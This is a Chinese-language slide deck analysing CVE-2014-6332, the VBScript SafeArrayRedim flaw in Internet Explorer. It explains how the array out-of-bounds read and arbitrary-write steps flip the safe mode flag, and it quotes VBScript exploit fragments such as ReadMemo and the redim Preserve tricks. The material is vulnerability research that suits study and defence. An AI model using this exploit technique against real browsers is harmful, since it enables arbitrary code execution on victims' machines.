hrjk
TDOHacker 北區召集人兼創辦人 (slides.com/hrjk下的所有簡報皆採用創用 CC 姓名標示-非商業性-相同方式分享 4.0 國際 授權條款授權.)
以CVE-2014-6332神洞為例
本次漏洞主要是利用 VBscript 的陣列錯位方式
將 IE 中原本因為被 safe mode 限制而權限很低的 VBscript
繞過 safe mode 的限制
變成可以執行任意指令
所以就可以玩很多種不同的攻擊了
(EX: 開啟記事本 、 新增系統管理員級的帳號)
更好玩的是!!
這其實不能算是 IE 的漏洞
但是這漏洞卻發生在 IE 非常依賴的 VBscript 上
在 IE 瀏覽器中
但如果遭修改成 0x00
就可以讓 VBscript 執行任意指令
我們重點不在 shellcode 或是 其所在記憶體的分配與控制
而是專注於更改 safe mode flag值
所以才能在 IE3 ~ IE11 下全面通殺
同時繞過微軟相關的保護措施 (DEP、ASLR、EMET、CFI ...等)
在 SafeArrayRedim 函數中有一條邏輯分支是 :
如果當newarray 的長度 - lodarray 長度差值是 0x8000000 ,但使用該值無法申請這麼大空間時,由於 VBscript 的on error resume next 的原因
newarray 結構中的元素長度會被修改,而buf的基準位址不變。
Dim aa(0xbb)
cElements = 0xbb + 1
length = (0xbb + 1) * 0x10
pvData = alloc(length)
這漏洞最終目的其實是開啟 “God mode (上帝模式)”
其實就是改掉 safe mode 的 flag
所以這漏洞要成功有三個關鍵點:
redim Preserve aa(a2)
利用更改 cElements 造成的索引值去越界
redim Preserve aa(a0)
把 cElements 改成正常值,就不能越界了
aa 陣列的 pvData 起始位址是 0x1a7810
ab 陣列的 pvData 起始位址是 0x1a78b8
正好差(9+1)*16 + 8
越界之後的一組data如下:
aa(11) > 0x1a7810 + 0xb*0x10 = 0x1a7810+0xb0 = 0x1a78c0
ab(0) > 0x1a78b8+0*0x10 = 0x1a78b8
從這邊我們可以看到 aa(11) 讀到了 ab(0) 空間的內容了
這也是為什麼修改索引值我們可以越界讀取的原因
當兩個全域陣列連續定義時, 有可能這兩個safearray對象的pvData位址在記憶體上也是連續的
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
redim ab(a0)
雖然目標是連續定義,但是不一定真的是連續的,所以我們會使用迴圈來提高機率
當 Over 函數返回 Ture 的時候,就可以確定兩個是連續的
For i = 0 To 400
If Over() - Ture Then
Creat-Ture
Exit For
End if
Next
假設執行了: dim aa(9) dim ab(9) 那在記憶體中則會
ab的pvData的位址:0xBBBBBBBBB
aa的pvData的地址:0xAAAAAAAA
0xBBBBBBBBB – 0xAAAAAAAA = aa的pvData的長度 + 8 bit 的 stack
而 aa 的計算如下:
Length = cElements * 0x10
pvData = alloc(Length )
也就是說~我們可以精確的使用越界的 aa 來讀取 ab
aa的pvData是0x1a7810,最後位址0x1a7810 + 9*0x10 =0x1a78a0
ab的pvData是0x1a78b0,最後位址0x1a78b0 + 9*0x10
當兩個連續目標的pvData在記憶體中連續排列後
我們要做的就是把函數目標的位址也抓出來
該位址可以用在後面 safe mode 定位
得到一個函數 variant 的目標後,將該目標都有 aa(a1),然後經由 ab(0) 修改 aa(a1) 的資料類型為 VT_I4,然後利用 aa(ad)把位址讀出來。
ReadMemo函數是用來給特定的參數去 add 讀取其內容,也就是可以讀取任意地位址的內容
ReadMemo(add) = poi(add)
前面已經說明利用 testaa 函數,目標的位址已經被抓出來,而且我們來能任意讀,而 safe mode 的位址可以通過 testaa 被抓取出來。
前面經過一大堆亂七八糟的手法,我們終於到最重要的地方了 !
小結:
aa(a1+2)(i+&h11c+k)=ab(4)
> 往i+&h11c+k計算結果中寫入ab(4)的資料,i+&h11c+k不僅僅是個索引值,還是一個目標的位址,因為i+&h11c+k是可控制的
所以可在任意位址寫入 Data,但是這只有在設計過的 aa(a1+2 下才會成立)
來源 :
http://www.freebuf.com/vuls/51628.html
http://www.freebuf.com/articles/system/51501.html
http://www.venustech.com.cn/UserFiles/20141210_%E6%97%A0%E9%9C%80%E6%8B%85%E5%BF%83%E6%BD%9C%E8%97%8F%E4%BA%8618%E5%B9%B4%E7%9A%84%E5%BE%AE%E8%BD%AF%E6%B5%8F%E8%A7%88%E5%99%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%20%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.pdf
http://xteam.baidu.com/?p=104
http://blog.vulnhunt.com/index.php/2014/11/18/about_cve-2014-6332/http://blog.vulnhunt.com/index.php/2014/11/18/cve-2014-6332-used-in-targeted-attack/
By hrjk